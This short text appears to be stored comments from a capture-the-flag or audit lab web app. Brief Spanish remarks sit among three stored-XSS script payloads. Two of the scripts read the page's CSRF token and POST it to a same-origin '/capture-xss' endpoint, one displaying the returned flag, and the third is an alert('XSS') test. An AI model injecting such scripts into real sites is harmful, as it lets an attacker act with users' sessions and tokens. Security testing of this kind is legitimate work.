pc

<b>Buenas Noches<b>

Prueba de auditoria retirada.

<script>fetch('/capture-xss',{method:'POST',credentials:'same-origin',headers:{'X-CSRF-TOKEN':document.querySelector('meta[name=csrf-token]').content},body:new URLSearchParams({componente:'comments'})}).then(r=>r.json()).then(d=>{document.title='XSS ALMACENADO '+d.flag;document.body.insertAdjacentHTML('afterbegin','<div style="position:fixed;top:0;left:0;right:0;z-index:99999;background:#a00;color:#fff;font:18px monospace;padding:14px">XSS ALMACENADO EJECUTADO - '+d.flag+'</div>')})</script>

<script>alert('XSS')</script>

la mejor compra que hecho nunca!

<script> var x=new XMLHttpRequest(); x.open('POST','/capture-xss',true); x.setRequestHeader('Content-Type','application/json'); x.setRequestHeader('X-CSRF-TOKEN',document.head.querySelector('meta[name=csrf-token]').getAttribute('content')); x.send('{}'); </script>